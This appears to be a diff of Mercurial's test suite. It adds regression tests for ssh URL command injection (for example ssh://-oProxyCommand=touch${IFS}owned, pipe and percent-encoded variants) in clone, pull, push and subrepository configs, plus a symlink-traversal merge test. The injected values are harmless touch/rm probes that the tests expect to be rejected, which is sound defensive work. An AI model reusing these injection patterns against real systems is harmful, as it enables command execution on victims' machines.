1109 | abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||
|
1110 | [255] | |||
|
1111 | $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path' | |||
|
1112 | abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||
|
1113 | [255] | |||
|
1114 | $ hg clone 'ssh://fakehost|touch%20owned/path' | |||
|
1115 | abort: no suitable response from remote hg! | |||
|
1116 | [255] | |||
|
1117 | $ hg clone 'ssh://fakehost%7Ctouch%20owned/path' | |||
|
1118 | abort: no suitable response from remote hg! | |||
|
1119 | [255] | |||
|
1120 | ||||
|
1121 | $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path' | |||
|
1122 | abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path' | |||
|
1123 | [255] | |||
|
1124 | ||||
|
1125 | #if windows | |||
|
1126 | $ hg clone "ssh://%26touch%20owned%20/" --debug | |||
|
1127 | running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio" | |||
|
1128 | sending hello command | |||
|
1129 | sending between command | |||
|
1130 | abort: no suitable response from remote hg! | |||
|
1131 | [255] | |||
|
1132 | $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug | |||
|
1133 | running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio" | |||
|
1134 | sending hello command | |||
|
1135 | sending between command | |||
|
1136 | abort: no suitable response from remote hg! | |||
|
1137 | [255] | |||
|
1138 | #else | |||
|
1139 | $ hg clone "ssh://%3btouch%20owned%20/" --debug | |||
|
1140 | running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio' | |||
|
1141 | sending hello command | |||
|
1142 | sending between command | |||
|
1143 | abort: no suitable response from remote hg! | |||
|
1144 | [255] | |||
|
1145 | $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug | |||
|
1146 | running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio' | |||
|
1147 | sending hello command | |||
|
1148 | sending between command | |||
|
1149 | abort: no suitable response from remote hg! | |||
|
1150 | [255] | |||
|
1151 | #endif | |||
|
1152 | ||||
|
1153 | $ hg clone "ssh://v-alid.example.com/" --debug | |||
|
1154 | running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re) | |||
|
1155 | sending hello command | |||
|
1156 | sending between command | |||
|
1157 | abort: no suitable response from remote hg! | |||
|
1158 | [255] | |||
|
1159 | ||||
|
1160 | We should not have created a file named owned - if it exists, the | |||
|
1161 | attack succeeded. | |||
|
1162 | $ if test -f owned; then echo 'you got owned'; fi |
@@ -908,3 +908,80 b' cases.' | |||||
908 | *** runcommand log |
|
908 | *** runcommand log | |
909 | 0 bar (bar) |
|
909 | 0 bar (bar) | |
910 | *** runcommand verify -q |
|
910 | *** runcommand verify -q | |
|
911 | ||||
|
912 | $ cd .. | |||
|
913 | ||||
|
914 | Test symlink traversal over cached audited paths: | |||
|
915 | ------------------------------------------------- | |||
|
916 | ||||
|
917 | #if symlink | |||
|
918 | ||||
|
919 | set up symlink hell | |||
|
920 | ||||
|
921 | $ mkdir merge-symlink-out | |||
|
922 | $ hg init merge-symlink | |||
|
923 | $ cd merge-symlink | |||
|
924 | $ touch base | |||
|
925 | $ hg commit -qAm base | |||
|
926 | $ ln -s ../merge-symlink-out a | |||
|
927 | $ hg commit -qAm 'symlink a -> ../merge-symlink-out' | |||
|
928 | $ hg up -q 0 | |||
|
929 | $ mkdir a | |||
|
930 | $ touch a/poisoned | |||
|
931 | $ hg commit -qAm 'file a/poisoned' | |||
|
932 | $ hg log -G -T '{rev}: {desc}\n' | |||
|
933 | @ 2: file a/poisoned | |||
|
934 | | | |||
|
935 | | o 1: symlink a -> ../merge-symlink-out | |||
|
936 | |/ | |||
|
937 | o 0: base | |||
|
938 | ||||
|
939 | ||||
|
940 | try trivial merge after update: cache of audited paths should be discarded, | |||
|
941 | and the merge should fail (issue5628) | |||
|
942 | ||||
|
943 | $ hg up -q null | |||
|
944 | >>> from hgclient import readchannel, runcommand, check | |||
|
945 | >>> @check | |||
|
946 | ... def merge(server): | |||
|
947 | ... readchannel(server) | |||
|
948 | ... # audit a/poisoned as a good path | |||
|
949 | ... runcommand(server, ['up', '-qC', '2']) | |||
|
950 | ... runcommand(server, ['up', '-qC', '1']) | |||
|
951 | ... # here a is a symlink, so a/poisoned is bad | |||
|
952 | ... runcommand(server, ['merge', '2']) | |||
|
953 | *** runcommand up -qC 2 | |||
|
954 | *** runcommand up -qC 1 | |||
|
955 | *** runcommand merge 2 | |||
|
956 | abort: path 'a/poisoned' traverses symbolic link 'a' | |||
|
957 | [255] | |||
|
958 | $ ls ../merge-symlink-out | |||
|
959 | ||||
|
960 | cache of repo.auditor should be discarded, so matcher would never traverse | |||
|
961 | symlinks: | |||
|
962 | ||||
|
963 | $ hg up -qC 0 | |||
|
964 | $ touch ../merge-symlink-out/poisoned | |||
|
965 | >>> from hgclient import readchannel, runcommand, check | |||
|
966 | >>> @check | |||
|
967 | ... def files(server): | |||
|
968 | ... readchannel(server) | |||
|
969 | ... runcommand(server, ['up', '-qC', '2']) | |||
|
970 | ... # audit a/poisoned as a good path | |||
|
971 | ... runcommand(server, ['files', 'a/poisoned']) | |||
|
972 | ... runcommand(server, ['up', '-qC', '0']) | |||
|
973 | ... runcommand(server, ['up', '-qC', '1']) | |||
|
974 | ... # here 'a' is a symlink, so a/poisoned should be warned | |||
|
975 | ... runcommand(server, ['files', 'a/poisoned']) | |||
|
976 | *** runcommand up -qC 2 | |||
|
977 | *** runcommand files a/poisoned | |||
|
978 | a/poisoned | |||
|
979 | *** runcommand up -qC 0 | |||
|
980 | *** runcommand up -qC 1 | |||
|
981 | *** runcommand files a/poisoned | |||
|
982 | abort: path 'a/poisoned' traverses symbolic link 'a' | |||
|
983 | [255] | |||
|
984 | ||||
|
985 | $ cd .. | |||
|
986 | ||||
|
987 | #endif |
@@ -105,4 +105,30 b' regular shell commands.' | |||||
105 | $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` |
|
105 | $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` | |
106 | $ hg pull -q "$URL" |
|
106 | $ hg pull -q "$URL" | |
107 |
|
107 | |||
|
108 | SEC: check for unsafe ssh url | |||
|
109 | ||||
|
110 | $ cat >> $HGRCPATH << EOF | |||
|
111 | > [ui] | |||
|
112 | > ssh = sh -c "read l; read l; read l" | |||
|
113 | > EOF | |||
|
114 | ||||
|
115 | $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||
|
116 | pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path | |||
|
117 | abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||
|
118 | [255] | |||
|
119 | $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path' | |||
|
120 | pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path | |||
|
121 | abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||
|
122 | [255] | |||
|
123 | $ hg pull 'ssh://fakehost|touch${IFS}owned/path' | |||
|
124 | pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path | |||
|
125 | abort: no suitable response from remote hg! | |||
|
126 | [255] | |||
|
127 | $ hg pull 'ssh://fakehost%7Ctouch%20owned/path' | |||
|
128 | pulling from ssh://fakehost%7Ctouch%20owned/path | |||
|
129 | abort: no suitable response from remote hg! | |||
|
130 | [255] | |||
|
131 | ||||
|
132 | $ [ ! -f owned ] || echo 'you got owned' | |||
|
133 | ||||
108 | $ cd .. |
|
134 | $ cd .. |
@@ -316,3 +316,29 b' Test bare push with multiple race checki' | |||||
316 | adding manifests |
|
316 | adding manifests | |
317 | adding file changes |
|
317 | adding file changes | |
318 | added 1 changesets with 1 changes to 1 files |
|
318 | added 1 changesets with 1 changes to 1 files | |
|
319 | ||||
|
320 | SEC: check for unsafe ssh url | |||
|
321 | ||||
|
322 | $ cat >> $HGRCPATH << EOF | |||
|
323 | > [ui] | |||
|
324 | > ssh = sh -c "read l; read l; read l" | |||
|
325 | > EOF | |||
|
326 | ||||
|
327 | $ hg -R test-revflag push 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||
|
328 | pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path | |||
|
329 | abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||
|
330 | [255] | |||
|
331 | $ hg -R test-revflag push 'ssh://%2DoProxyCommand=touch${IFS}owned/path' | |||
|
332 | pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path | |||
|
333 | abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' | |||
|
334 | [255] | |||
|
335 | $ hg -R test-revflag push 'ssh://fakehost|touch${IFS}owned/path' | |||
|
336 | pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path | |||
|
337 | abort: no suitable response from remote hg! | |||
|
338 | [255] | |||
|
339 | $ hg -R test-revflag push 'ssh://fakehost%7Ctouch%20owned/path' | |||
|
340 | pushing to ssh://fakehost%7Ctouch%20owned/path | |||
|
341 | abort: no suitable response from remote hg! | |||
|
342 | [255] | |||
|
343 | ||||
|
344 | $ [ ! -f owned ] || echo 'you got owned' |
@@ -461,7 +461,7 b' debug output' | |||||
461 |
|
461 | |||
462 | $ hg pull --debug ssh://user@dummy/remote |
|
462 | $ hg pull --debug ssh://user@dummy/remote | |
463 | pulling from ssh://user@dummy/remote |
|
463 | pulling from ssh://user@dummy/remote | |
464 |
running .* ".*/dummyssh" user@dummy (' |
|
464 | running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re) | |
465 | sending hello command |
|
465 | sending hello command | |
466 | sending between command |
|
466 | sending between command | |
467 | remote: 355 |
|
467 | remote: 355 |
@@ -477,7 +477,7 b' debug output' | |||||
477 |
|
477 | |||
478 | $ hg pull --debug ssh://user@dummy/remote |
|
478 | $ hg pull --debug ssh://user@dummy/remote | |
479 | pulling from ssh://user@dummy/remote |
|
479 | pulling from ssh://user@dummy/remote | |
480 |
running .* ".*/dummyssh" |
|
480 | running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re) | |
481 | sending hello command |
|
481 | sending hello command | |
482 | sending between command |
|
482 | sending between command | |
483 | remote: 355 |
|
483 | remote: 355 |
@@ -1182,3 +1182,34 b' whitelisting of ext should be respected ' | |||||
1182 | pwned: you asked for it |
|
1182 | pwned: you asked for it | |
1183 |
|
1183 | |||
1184 | #endif |
|
1184 | #endif | |
|
1185 | ||||
|
1186 | test for ssh exploit with git subrepos 2017-07-25 | |||
|
1187 | ||||
|
1188 | $ hg init malicious-proxycommand | |||
|
1189 | $ cd malicious-proxycommand | |||
|
1190 | $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub | |||
|
1191 | $ git init s | |||
|
1192 | Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/ | |||
|
1193 | $ cd s | |||
|
1194 | $ git commit --allow-empty -m 'empty' | |||
|
1195 | [master (root-commit) 153f934] empty | |||
|
1196 | $ cd .. | |||
|
1197 | $ hg add .hgsub | |||
|
1198 | $ hg ci -m 'add subrepo' | |||
|
1199 | $ cd .. | |||
|
1200 | $ hg clone malicious-proxycommand malicious-proxycommand-clone | |||
|
1201 | updating to branch default | |||
|
1202 | abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s") | |||
|
1203 | [255] | |||
|
1204 | ||||
|
1205 | also check that a percent encoded '-' (%2D) doesn't work | |||
|
1206 | ||||
|
1207 | $ cd malicious-proxycommand | |||
|
1208 | $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub | |||
|
1209 | $ hg ci -m 'change url to percent encoded' | |||
|
1210 | $ cd .. | |||
|
1211 | $ rm -r malicious-proxycommand-clone | |||
|
1212 | $ hg clone malicious-proxycommand malicious-proxycommand-clone | |||
|
1213 | updating to branch default | |||
|
1214 | abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s") | |||
|
1215 | [255] |
@@ -639,3 +639,43 b' Test that sanitizing is omitted in meta ' | |||||
639 | $ hg update -q -C '.^1' |
|
639 | $ hg update -q -C '.^1' | |
640 |
|
640 | |||
641 | $ cd ../.. |
|
641 | $ cd ../.. | |
|
642 | ||||
|
643 | SEC: test for ssh exploit | |||
|
644 | ||||
|
645 | $ hg init ssh-vuln | |||
|
646 | $ cd ssh-vuln | |||
|
647 | $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub | |||
|
648 | $ svn co --quiet "$SVNREPOURL"/src s | |||
|
649 | $ hg add .hgsub | |||
|
650 | $ hg ci -m1 | |||
|
651 | $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub | |||
|
652 | $ hg ci -m2 | |||
|
653 | $ cd .. | |||
|
654 | $ hg clone ssh-vuln ssh-vuln-clone | |||
|
655 | updating to branch default | |||
|
656 | abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s") | |||
|
657 | [255] | |||
|
658 | ||||
|
659 | also check that a percent encoded '-' (%2D) doesn't work | |||
|
660 | ||||
|
661 | $ cd ssh-vuln | |||
|
662 | $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub | |||
|
663 | $ hg ci -m3 | |||
|
664 | $ cd .. | |||
|
665 | $ rm -r ssh-vuln-clone | |||
|
666 | $ hg clone ssh-vuln ssh-vuln-clone | |||
|
667 | updating to branch default | |||
|
668 | abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s") | |||
|
669 | [255] | |||
|
670 | ||||
|
671 | also check that hiding the attack in the username doesn't work: | |||
|
672 | ||||
|
673 | $ cd ssh-vuln | |||
|
674 | $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub | |||
|
675 | $ hg ci -m3 | |||
|
676 | $ cd .. | |||
|
677 | $ rm -r ssh-vuln-clone | |||
|
678 | $ hg clone ssh-vuln ssh-vuln-clone | |||
|
679 | updating to branch default | |||
|
680 | abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepository "s") | |||
|
681 | [255] |
@@ -1789,3 +1789,77 b" Test that '[paths]' is configured correc" | |||||
1789 | +bar |
|
1789 | +bar | |
1790 |
|
1790 | |||
1791 | $ cd .. |
|
1791 | $ cd .. | |
|
1792 | ||||
|
1793 | test for ssh exploit 2017-07-25 | |||
|
1794 | ||||
|
1795 | $ cat >> $HGRCPATH << EOF | |||
|
1796 | > [ui] | |||
|
1797 | > ssh = sh -c "read l; read l; read l" | |||
|
1798 | > EOF | |||
|
1799 | ||||
|
1800 | $ hg init malicious-proxycommand | |||
|
1801 | $ cd malicious-proxycommand | |||
|
1802 | $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub | |||
|
1803 | $ hg init s | |||
|
1804 | $ cd s | |||
|
1805 | $ echo init > init | |||
|
1806 | $ hg add | |||
|
1807 | adding init | |||
|
1808 | $ hg commit -m init | |||
|
1809 | $ cd .. | |||
|
1810 | $ hg add .hgsub | |||
|
1811 | $ hg ci -m 'add subrepo' | |||
|
1812 | $ cd .. | |||
|
1813 | $ hg clone malicious-proxycommand malicious-proxycommand-clone | |||
|
1814 | updating to branch default | |||
|
1815 | abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s") | |||
|
1816 | [255] | |||
|
1817 | ||||
|
1818 | also check that a percent encoded '-' (%2D) doesn't work | |||
|
1819 | ||||
|
1820 | $ cd malicious-proxycommand | |||
|
1821 | $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub | |||
|
1822 | $ hg ci -m 'change url to percent encoded' | |||
|
1823 | $ cd .. | |||
|
1824 | $ rm -r malicious-proxycommand-clone | |||
|
1825 | $ hg clone malicious-proxycommand malicious-proxycommand-clone | |||
|
1826 | updating to branch default | |||
|
1827 | abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s") | |||
|
1828 | [255] | |||
|
1829 | ||||
|
1830 | also check for a pipe | |||
|
1831 | ||||
|
1832 | $ cd malicious-proxycommand | |||
|
1833 | $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub | |||
|
1834 | $ hg ci -m 'change url to pipe' | |||
|
1835 | $ cd .. | |||
|
1836 | $ rm -r malicious-proxycommand-clone | |||
|
1837 | $ hg clone malicious-proxycommand malicious-proxycommand-clone | |||
|
1838 | updating to branch default | |||
|
1839 | abort: no suitable response from remote hg! | |||
|
1840 | [255] | |||
|
1841 | $ [ ! -f owned ] || echo 'you got owned' | |||
|
1842 | ||||
|
1843 | also check that a percent encoded '|' (%7C) doesn't work | |||
|
1844 | ||||
|
1845 | $ cd malicious-proxycommand | |||
|
1846 | $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub | |||
|
1847 | $ hg ci -m 'change url to percent encoded pipe' | |||
|
1848 | $ cd .. | |||
|
1849 | $ rm -r malicious-proxycommand-clone | |||
|
1850 | $ hg clone malicious-proxycommand malicious-proxycommand-clone | |||
|
1851 | updating to branch default | |||
|
1852 | abort: no suitable response from remote hg! | |||
|
1853 | [255] | |||
|
1854 | $ [ ! -f owned ] || echo 'you got owned' | |||
|
1855 | ||||
|
1856 | and bad usernames: | |||
|
1857 | $ cd malicious-proxycommand | |||
|
1858 | $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub | |||
|
1859 | $ hg ci -m 'owned username' | |||
|
1860 | $ cd .. | |||
|
1861 | $ rm -r malicious-proxycommand-clone | |||
|
1862 | $ hg clone malicious-proxycommand malicious-proxycommand-clone | |||
|
1863 | updating to branch default | |||
|
1864 | abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepository "s") | |||
|
1865 | [255] |
General Comments 0
You need to be logged in to leave comments.
Login now